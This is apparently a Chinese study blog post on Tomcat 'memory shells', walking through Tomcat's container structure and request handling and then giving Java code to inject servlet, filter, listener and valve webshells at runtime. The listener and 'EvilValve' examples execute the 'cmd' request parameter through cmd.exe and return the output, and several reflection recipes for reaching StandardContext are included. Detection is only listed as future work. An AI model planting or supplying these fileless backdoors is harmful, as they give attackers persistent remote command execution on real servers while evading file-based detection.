java tomcat内存马学习

java tomcat内存马学习,第1张

java tomcat内存马学习 1.tomcat

1.tomcat 结构

--Server  顶层容器
   --Service  提供具体服务的
      --Connector
      --Container 
        --Engine
           --Host
              --Context
                 --Wrapper           
   --Service
 
Server: 一个Tomcat仅有一个Server,指代整个Web服务器。
Connector: 连接器,用于接受请求并将请求封装成Request和Response对象。

默认配置文件server.xml

               connectionTimeout="20000"
               redirectPort="8443" />
    

Container:Catalina,Servlet 容器,处理servlet请求,内部有多层容器组成,用于管理 Servlet 生命周期,调用 servlet 相关方法
在Container中,使用PipeLine-Value管道的方式处理请求,包含以下四个子容器:
StandardEnginevalue --> StandardHostValue --> StandardContextValue --> StandardWrapperValue
Engine:Servlet 的顶层容器
Host:代表一个虚拟主机
Context:代表Webapps(默认应用文件夹,可更改)里单独某个Web应用,Web 应用上下文,包含多个 Wrapper,负责 web 配置的解析、管 理所有的 Web 资源;
Wrapper:每个Wrapper中封装了一个Servlet


 
 
      
 
                       resourceName="UserDatabase"/>
      

 
                  unpackWARs="true" autoDeploy="true">
    
 
 
                      prefix="localhost_access_log." suffix=".txt"
               pattern="%h %l %u %t "%r" %s %b" />
 
      

    

2.tomcat处理请求流程

一次完整请求,socket->http->response

 Connector处理部分

NioEndpoint$SocketProcessor -> Http11Processor -> CoyoteAdapter,通过CoyoteAdapter的service方法,完成org.apache.coyote.Request -> org.apache.catalina.connector.Request (实现了HttpServletRequest)和org.apache.catalina.connector.Response (实现了HttpServletResponse)的转换。

2.servlet介绍

Servlet:Servlet的生命周期开始于Web容器的启动时,它就会被载入到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束。一旦Servlet被装入到Web容器之后,一般是会长久驻留在Web容器之中。
装入:启动服务器时加载Servlet的实例
初始化:web服务器启动时或web服务器接收到请求时,或者两者之间的某个时刻启动。初始化工作有init()方法负责执行完成。
调用:从第一次到以后的多次访问,都是只调用doGet()或doPost()方法。
销毁:停止服务器时调用destroy()方法,销毁实例。
 
Filter:自定义Filter的实现,需要实现javax.servlet.Filter下的init()、doFilter()、destroy()三个方法。
启动服务器时加载过滤器的实例,并调用init()方法来初始化实例;
每一次请求时都只调用方法doFilter()进行处理;停止服务器时调用destroy()方法,销毁实例。
 
Listener:以ServletRequestListener为例,ServletRequestListener主要用于监听ServletRequest对象的创建和销毁,一个ServletRequest可以注册多个ServletRequestListener接口。
每次请求创建时调用requestInitialized();每次请求销毁时调用requestDestroyed()。
 
加载顺序
web.xml对于这三种组件的加载顺序是:listener -> filter -> servlet,即listener的优先级为三者中最高的。

3.servlet内存马

3.1常见的servlet示例

1
2
3
4
5
6
7
8
9
10

public class LoginServlet extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
        String name = request.getParameter("name");
        String password = request.getParameter("password");
 
        System.out.println("name:" + name);
        System.out.println("password:" + password);
    }
}

在web.xml中配置如下

配置servlet类和maping的映射关


        LoginServlet
        LoginServlet
    

 
    
        LoginServlet
        /login
    

servlet生命周期

login请求具体过程

3.2servlet加载流程调试。调试环境 tomcat8

3.2.1一个Wrapper代表一个servlet实例,StandardContext.class 中有createWrapper 方法,在此处在断点进行调试

关键的调用过程如下:

3.2.2发现:ContextConfig.webConfig() 方法,会加载我们的配置文件web.xml,然后对xml进行解析,获取filter,servlet配置信息。测试环境暂未添加listener

3.2.3解析完配置文件之后,ContextConfig.configureContext,对context进行配置

会对filter,listener,servlet进行配置

3.2.4其中对servlet的配置过程如下:

创建wrapper实例,赋值servletname

3.2.5设置 Servlet 对应的 Class

3.2.6将wrapper添加至当前的context中

3.2.7wrapper配置完后,配置mapping

进入StandardContext.addServletMappingDecoded()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

public void addServletMappingDecoded(String pattern, String name, boolean jspWildCard) {
        //查找当前child中有没有这个servletname的wrapper
        if (this.findChild(name) == null) {
            throw new IllegalArgumentException(sm.getString("standardContext.servletMap.name", new Object[]{name}));
        } else {
            //对路由进行判断
            String adjustedPattern = this.adjustURLPattern(pattern);
            if (!this.validateURLPattern(adjustedPattern)) {
                throw new IllegalArgumentException(sm.getString("standardContext.servletMap.pattern", new Object[]{adjustedPattern}));
            } else {
                synchronized(this.servletMappingsLock) {
            // 前面没有对wrapper进行路由关系映射
                    String name2 = (String)this.servletMappings.get(adjustedPattern);
                    if (name2 != null) {
                        Wrapper wrapper = (Wrapper)this.findChild(name2);
                        wrapper.removeMapping(adjustedPattern);
                    }
            //context中添加路由与wrapper映射关系
                    this.servletMappings.put(adjustedPattern, name);
                }
 
                Wrapper wrapper = (Wrapper)this.findChild(name);
            //wrapper中添加对应mapping信息
                wrapper.addMapping(adjustedPattern);
                this.fireContainerEvent("addServletMapping", adjustedPattern);
            }
        }
    }
总结:
1.查找 当前的Child的wrapper
2.对路由进行校验
3.向context 的mapping 中添加 路由和servletname
4.在当前child中找到name 相同的wapper
5.相同的wapper 添加路由
这个过程也和web.xml的属性对应

        LoginServlet
        LoginServlet
    

 
    
        LoginServlet
        /login
    

3.2.8servlet的启动顺序

StandardWrapper.loadServlet()处下断点

其中在StandardContext.startInternal()方法中可以看到tomcat对servlet的加载顺序

3.2.9jsp注入

    Wrapper newWrapper = context.createWrapper();
    String name = servlet.getClass().getSimpleName();
    //3.2.4
    newWrapper.setName(name);
    //newWrapper.setLoadonStartup(1);
    ///3.2.5
    newWrapper.setServletClass(servlet.getClass().getName());

   //3.2.6

    context.addChild(newWrapper);

   //3.2.7
    context.addServletMappingDecoded("/master", name);

   newWrapper.setServlet(servlet);

发现这个 是用不了的,对比filter是缺少了与类实例的映射。

在applicationcontext的addservlet方法中, 是有这行代码,设置类实例

StandardWrapper.load)中 ,也是将

this.instance = this.loadServlet();

loadServlet()返回servlet  ,servlet = (Servlet)instanceManager.newInstance(this.servletClass);

instance 设置为servlet实例

所以要添加

将wrapper与servlets实例关联

Wrapper.setServlet(servlet);

最后如下:

 Wrapper newWrapper = context.createWrapper();
    String name = servlet.getClass().getSimpleName();
    //3.2.4
    newWrapper.setName(name);
    newWrapper.setLoadonStartup(1);
    //
    //newWrapper.setServlet(servlet);
    ///3.2.5
    newWrapper.setServletClass(servlet.getClass().getName());

    context.addChild(newWrapper);
    context.addServletMappingDecoded("/master", name);

4.Filter型内存马

4.1常见filter类用例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

public class FirstFilter implements Filter {
    @Override
    public void destroy() {
    // 在web容器卸载Filter对象之前被调用
    }
    @Override
    public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
            throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest) req;
        HttpServletResponse response = (HttpServletResponse) res;
        request.setCharacterEncoding("UTF-8");
        String ip = request.getRemoteAddr();
        String url = request.getRequestURL().toString();
        SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
        Date d = new Date();
        String date = sdf.format(d);
        System.out.printf("%s %s 访问了 %s%n", date, ip, url);
        chain.doFilter(request, response);
    }
    @Override
    public void init(FilterConfig arg0) throws ServletException {
 
    }
 
}

web.xml配置


        FirstFilter     //名字自定义
        Filterdemo.FirstFilter   //类名
    

 
    
        FirstFilter  //与前面对应
        /*     // 作用域
    

4.2 执行顺序,filter的执行顺序与添加web.xml添加的顺序一致

4.3执行点: 当执行到最后的StandardWrapperValue时,将通过ApplicationFilterFactory对象的createFilterChain()方法,创建FilterChain(过滤链),并调用FilterChain.doFilter()方法,对请求进行过滤 *** 作。

关键,从context中获取filterMaps,通过filtermap获取filterconfig,将filterconfig添加进filterChain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
       if (servlet == null) {
           return null;
       } else {
           ApplicationFilterChain filterChain = null;
           if (request instanceof Request) {
               Request req = (Request)request;
               if (Globals.IS_SECURITY_ENABLED) {
                   filterChain = new ApplicationFilterChain();
               } else {
                   filterChain = (ApplicationFilterChain)req.getFilterChain();
                   if (filterChain == null) {
                       filterChain = new ApplicationFilterChain();
                       req.setFilterChain(filterChain);
                   }
               }
           } else {
               filterChain = new ApplicationFilterChain();
           }
 
           filterChain.setServlet(servlet);
           filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
           StandardContext context = (StandardContext)wrapper.getParent();
           FilterMap[] filterMaps = context.findFilterMaps();
           if (filterMaps != null && filterMaps.length != 0) {
               DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");
               String requestPath = null;
               Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");
               if (attribute != null) {
                   requestPath = attribute.toString();
               }
 
               String servletName = wrapper.getName();
               FilterMap[] arr$ = filterMaps;
               int len$ = filterMaps.length;
 
               int i$;
               FilterMap filterMap;
               ApplicationFilterConfig filterConfig;
               for(i$ = 0; i$ < len$; ++i$) {
                   filterMap = arr$[i$];
                   if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
                       filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
                       if (filterConfig != null) { 当实例不为空时通过addFilter方法,将管理filter实例的filterConfig添加入filterChain对象中。
                            filterChain.addFilter(filterConfig);
                       }
                   }
               }
 
               arr$ = filterMaps;
               len$ = filterMaps.length;
 
               for(i$ = 0; i$ < len$; ++i$) {
                   filterMap = arr$[i$];
                   if (matchDispatcher(filterMap, dispatcher) && matchFiltersServlet(filterMap, servletName)) {
                       filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
                       if (filterConfig != null) {
                           filterChain.addFilter(filterConfig);
                       }
                   }
               }
 
               return filterChain;
           } else {
               return filterChain;
           }
       }
   }

filtermap中存放filtername与url 对应关系

1
2
3

private HashMap filterConfigs = new HashMap();
   private HashMap filterDefs = new HashMap();
   private final StandardContext.ContextFilterMaps filterMaps = new StandardContext.ContextFilterMaps();

filterConfigs 变量存储了filter名称与相应的ApplicationFilterConfig对象,在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息 

filterDefs 变量存储了filter名称与相应FilterDef的对象,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据 

filterMaps 中的FilterMap则记录了不同filter与UrlPattern的映射关系 

总结:

filterMaps变量:含有所有filter的URL映射关系

filterDefs变量: 含有所有filter包括实例在内等变量

filterConfigs 变量:含有所有与filter对应的filterDef信息及filter实例,并对filter进行管理

createFilterChail方法会根据请求的URL在filterMaps中匹配filter,然后在filterConfigs中找到filter实例,创建filterChain。

因此,我们只需要向StandardContext实例的filterMaps、filterDefs、filterConfigs中添加恶意Filter相关参数,即可完成Filter马的注入。

注入:

...
Map filterConfigs = (Map)fconfig.get(standardContext);
...
//filterdef
      FilterDef filterDef = new FilterDef();
      filterDef.setFilter(filter); //
      filterDef.setFilterName(name);
      filterDef.setFilterClass(filter.getClass().getName());  // 设置类名
      standardContext.addFilterDef(filterDef);   // 放入 context的filterdef中
//filtermap
      FilterMap filterMap = new FilterMap();  //存放作用域和filter 名称
      filterMap.addURLPattern("/*");
      filterMap.setFilterName(name);
      //添加近filtermaps
      standardContext.addFilterMapBefore(filterMap);   
 
 
      Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
      constructor.setAccessible(true);
      ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
 
    //filterConfigs   从前面的  全局作用域获取,通过反射修改。
      filterConfigs.put(name,filterConfig);

5,listener注入

5.1常见的listener使用

public class ServletRequestLister implements ServletRequestListener {
    // 监听请求
    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
        System.out.println(servletRequestEvent.getServletRequest()+"     over");
    }
 
    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
        System.out.println(servletRequestEvent.getServletRequest()+"    start");
 
    }
}

web.xml配置


    ServletRequestListener
    
        listenter.ServletRequestLister
    

listener都是全局都是全局的不用设置路由。

常见的listenerl类

ServletContextListener:用于监听web应用的启动和关闭
ServletContextAttributeListener:用于监听在application范围内的数据的变动
ServletRequestListener:用于监听用户请求的细节
ServletRequestAttributeListener:用于监听request范围内的数据的变动
HttpSessionListener:用于监听某次会话的开始和结束
HttpSessionAttributeListener:用于监听session范围内的属性数据的变动

5.2listener的启动流程

StandardHostValve的context.fireRequestInitEvent(request.getRequest() 触发

this.getApplicationEventListeners();获取listener

getApplicationEventListeners方法如下:

1
2
3

   public Object[] getApplicationEventListeners() {
        return this.applicationEventListenersList.toArray();
    }

applicationEventListenersList在standardcontext中如下:

private List applicationEventListenersList = new CopyonWriteArrayList();

applicationEventListenersList 有addApplicationEventListener

1
2
3

public void addApplicationEventListener(Object listener) {
      this.applicationEventListenersList.add(listener);
  }

看起来就是添加listener,所以,我们只要获取standardcontext,调用addApplicationEventListener,将listener添加进去即可

根据listener类别,我们可以使用ServletRequestListener类,它的方法有requestInitialized(),requestDestroyed(),当一个新的request触发和销毁时,方法分别被执行。

注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

final String name = "mtys";
   ServletContext servletContext =  request.getServletContext();
   ApplicationContextFacade applicationContextFacade =(ApplicationContextFacade) request.getServletContext();
   // 当前的全局作用域对象
 
   Field appctx = servletContext.getClass().getDeclaredField("context");
   // 获取 他的 会话
   appctx.setAccessible(true);
   ApplicationContext applicationContext = (ApplicationContext) appctx.get(applicationContextFacade);
   // 当前作用对象
 
   Field stdctx = applicationContext.getClass().getDeclaredField("context");
   stdctx.setAccessible(true);
   StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
 
   class myListener implements ServletRequestListener {
       public void requestDestroyed(ServletRequestEvent sre) {
 
           HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
           if (req.getParameter("cmd") != null){
               InputStream in = null;
               try {
                   in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                   Scanner s = new Scanner(in).useDelimiter("\A");
                   String out = s.hasNext()?s.next():"";
                   Field requestF = req.getClass().getDeclaredField("request");
                   requestF.setAccessible(true);
                   Request request = (Request)requestF.get(req);
                   request.getResponse().getWriter().write(out);
               }
               catch (IOException e) {}
               catch (NoSuchFieldException e) {}
               catch (IllegalAccessException e) {}
           }
       }
 
       public void requestInitialized(ServletRequestEvent sre) {}
   }
 
   myListener listenerdemo = new myListener();
   standardContext.addApplicationEventListener(listenerdemo);

5.standardcontext获取的方法:

5.1 jsp中request对象获取

Field reqF = request.getClass().getDeclaredField("request");
 reqF.setAccessible(true);
 Request req = (Request) reqF.get(request);
 StandardContext context = (StandardContext) req.getContext();
 
//另一种办法
  ServletContext servletContext = request.getSession().getServletContext();
  ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
  Field apcontext = servletContext.getClass().getDeclaredField("context");
  apcontext.setAccessible(true);
 /反射获取对象 applicationContextFacade下的 context  applicationcontext
  ApplicationContext applicationContext =(ApplicationContext)apcontext.get(applicationContextFacade);
  Field scontext = applicationContext.getClass().getDeclaredField("context");
  scontext.setAccessible(true);
  StandardContext standardContext = (StandardContext)scontext.get(applicationContext);

5.2 ContextClassLoader中获取

1
2
3

org.apache.catalina.loader.WebappClassLoaderbase webappClassLoaderbase =(org.apache.catalina.loader.WebappClassLoaderbase) Thread.currentThread().getContextClassLoader();
 
StandardContext standardContext = (StandardContext)webappClassLoaderbase.getResources().getContext();

5.3从jmbserver中获取,不同的版本,获取方式不同,同一版本获取方式不唯一

javax.management.MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer();
    //mbsInterceptor
    Object obj =null;
    Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
    field.setAccessible(true);
    obj = field.get(mbeanServer);
    //repository
    field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
    field.setAccessible(true);
    obj = field.get(obj);
 
    // domainTb
    field =Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
    field.setAccessible(true);
    HashMap ob =null;
    ob = (HashMap)field.get(obj);
    //class com.sun.jmx.mbeanserver.NamedObject
 
    ob = (HashMap) ob.get("Catalina");
    obj = ob.get("type=Mapper");
 
    Field modifersField = Field.class.getDeclaredField("modifiers");
    modifersField.setAccessible(true);
 
    field =Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
    field.setAccessible(true);
 
    modifersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
 
    obj = field.get(obj);
 
 
    field =Class.forName("org.apache.tomcat.util.modeler.baseModelMBean").getDeclaredField("resource");
    field.setAccessible(true);
    obj = field.get(obj);
 
    //
    field =Class.forName("org.apache.catalina.mapper.MapperListener").getDeclaredField("mapper");
    modifersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
    field.setAccessible(true);
    obj = field.get(obj);
 
    field =Class.forName("org.apache.catalina.mapper.Mapper").getDeclaredField("contextObjectToContextVersionMap");
    field.setAccessible(true);
    Map mp = null;
    mp= (Map) field.get(obj);
    Object[] obj1 = mp.keySet().toArray();
    org.apache.catalina.core.StandardContext standardContext = ( org.apache.catalina.core.StandardContext) obj1[0];

5.4 其他

tomcat全版本:https://xz.aliyun.com/t/9914

ThreadLocal获取request:https://xz.aliyun.com/t/7388

6.value型内存马 tomcat型

6.1value

tomcat是一种 管道阀门格式传递消息。value就是阀门的角色。

一个管道可以有多个阀门。tomcat会调用各个管道的阀门,默认的4个阀门StandardEnginevalue --> StandardHostValue --> StandardContextValue --> StandardWrapperValue。

会调用Value 的invoke方法。invoke方法中有request对象,可以从中解析处httprequest。

这种value会 有类似host.getPipeline().getFirst().invoke(request, response);进行挨个调用

我们只需要把恶意的valuye值注入进去就可以了

和默认的ErrorReportValve类一样所有阀门都需要继承Valvebase类

恶意类如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

public class EvilValve extends Valvebase{
 
       @Override
       public void invoke(Request request, Response response) throws IOException, ServletException {
           String cmder = request.getParameter("cmd");
           String[] cmd = new String[]{"cmd", "/c", cmder};
           try {
               Process ps = Runtime.getRuntime().exec(cmd);
               BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
               StringBuffer sb = new StringBuffer();
               String line;
               while ((line = br.readLine()) != null) {
                   sb.append(line).append("n");
               }
               String result = sb.toString();
               response.getWriter().write(result);
           } catch (Exception e) {
               System.out.println("error ");
           }
           getNext().invoke(request, response); //20210628-Update
       }
   }

在StandardHost 中发现 有调用addValve方法

调用的是Containerbase的addValve方法

1
2
3

public synchronized void addValve(Valve valve) {
      this.pipeline.addValve(valve);
  }

StandardEngineStandardHostStandardContextStandardWrapper 都继承Containerbase类都有addValve我们只需要把恶意的value类方法加入其中就可以

这里加入StandardContext的value,StandardContext的获取方法和之前一样。

1
2
3
4
5
6
7
8

ApplicationContextFacade appCf = (ApplicationContextFacade)request.getServletContext();
 ApplicationContext appCtx = (ApplicationContext)getFieldValue(appCf, "context");
 Field scontext = appCtx.getClass().getDeclaredField("context");
 scontext.setAccessible(true); 
 StandardContext standardContext = (StandardContext)scontext.get(appCtx);
 EvilValve evilValve = new EvilValve();
 standardContext.getPipeline().addValve(evilValve);
 out.println("注入valve成功!");

待补充:

1.内存马查杀

2.spring内存马,agent内存马

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5710276.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-17
下一篇 2022-12-17

发表评论

登录后才能评论

评论列表(0条)